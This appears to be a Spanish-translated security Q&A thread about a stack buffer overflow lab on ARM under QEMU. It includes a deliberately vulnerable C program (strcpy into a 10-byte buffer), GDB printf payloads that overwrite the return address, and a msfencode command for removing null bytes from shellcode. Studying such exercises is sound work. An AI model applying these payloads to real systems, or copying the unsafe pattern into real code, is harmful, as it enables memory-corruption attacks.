Desbordamiento de pila en ARM: Problema de bytes nulos

2

Estoy intentando seguir el trabajo de investigación de Tiger Security para la explotación de ARM: Enlace

Para la explotación de desbordamiento de pila simple, el código es:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void donuts(){
puts("Donuts...") ;
exit(0) ;
}
void vuln(char *arg) {
char buff[10] ;
strcpy(buff,arg);
}
int main (int argc,char **argv ){
vuln(argv[1]) ;
return 0;
}

Sin embargo, cuando lo ejecuto en mi máquina ARM de Debian que se ejecuta en Qemu, en Ubuntu. Todo funciona bien, excepto la parte que cuando tengo que colocar las direcciones que llenan el puntero de marco, el puntero de pila y la dirección de retorno.

Por lo tanto, el código resultante final para ejecutarse bajo GDB (en mi caso) se convierte en:

r 'printf "AAAABBBBCCCC\x94\xac\x8b\xbe\[FP 4 bytes here]\x38\x84"'

En mi caso: Deseado

SP : 0xbe8bac94 
FP: 0x000084ac 
Return Address: 0x00008438

Dado que el FP contiene bytes nulos en el medio, ¿hay alguna forma de que pueda usar eso en mi explotación? Ya que, en el medio, no puedo usar \ xac \ x84.

    
pregunta Robert Shane 25.11.2012 - 12:40
fuente

3 respuestas

5

¿Por qué necesitarías un FP específico? El FP guardado debe volver a cargarse en el registro correspondiente mediante la función vuln() cuando sale; pero esa función no tiene acceso de ninguna manera, por lo que podría tener cualquier valor. La carga posterior de FP es para el beneficio de cualquier código que se ejecutará inmediatamente después: normalmente la persona que llama vuln() (que quiere recuperar su FP), pero, en su caso, su código de explotación, ya que secuestró la dirección de retorno . Entonces depende de usted lidiar con un valor de PF no sensitivo (ese es su código: puede convertirlo en un valor adecuado de PF con unos pocos códigos de operación sin cero).

Editar: este artículo , especialmente la sección 2.4 ("Obtener un valor conocido en un registro") puede ser esclarecedor.

    
respondido por el Thomas Pornin 25.11.2012 - 16:18
fuente
2

Si tiene un problema con los bytes nulos, intente codificar el shellcode antes de usarlos para eliminar los bytes nulos. Supongo que tienes metasploit y eres capaz de usar el codificador. Así es como funciona.

shell = (" \x77\x... your shellcode")
file = open('shellcode.bin','w')
file.write(shell)
file.close()

o también puedes usar

echo -e "shellcode" >> shellcode.bin

y ejecuta lo siguiente

/msfencode -b '\x00' -i /pentest/exploits/shellcode.bin -t c

Espero que los métodos anteriores te ayuden a ponerte en marcha. Buena suerte!

    
respondido por el 3ntr0py 25.11.2012 - 14:58
fuente
1

Tu suposición es incorrecta. no es necesario utilizar la dirección completa de 4 bytes del FP. Ya que tu CPU entenderá el modo pulgar. como resultado, su exploit se verá así:

printf "AAAABBBBCCCC\x94\xac\x8b\xbe\[FP 2 bytes without \x00\x00 here]\x38\x84"

    
respondido por el Sama Azari 30.11.2014 - 13:54
fuente

Lea otras preguntas en las etiquetas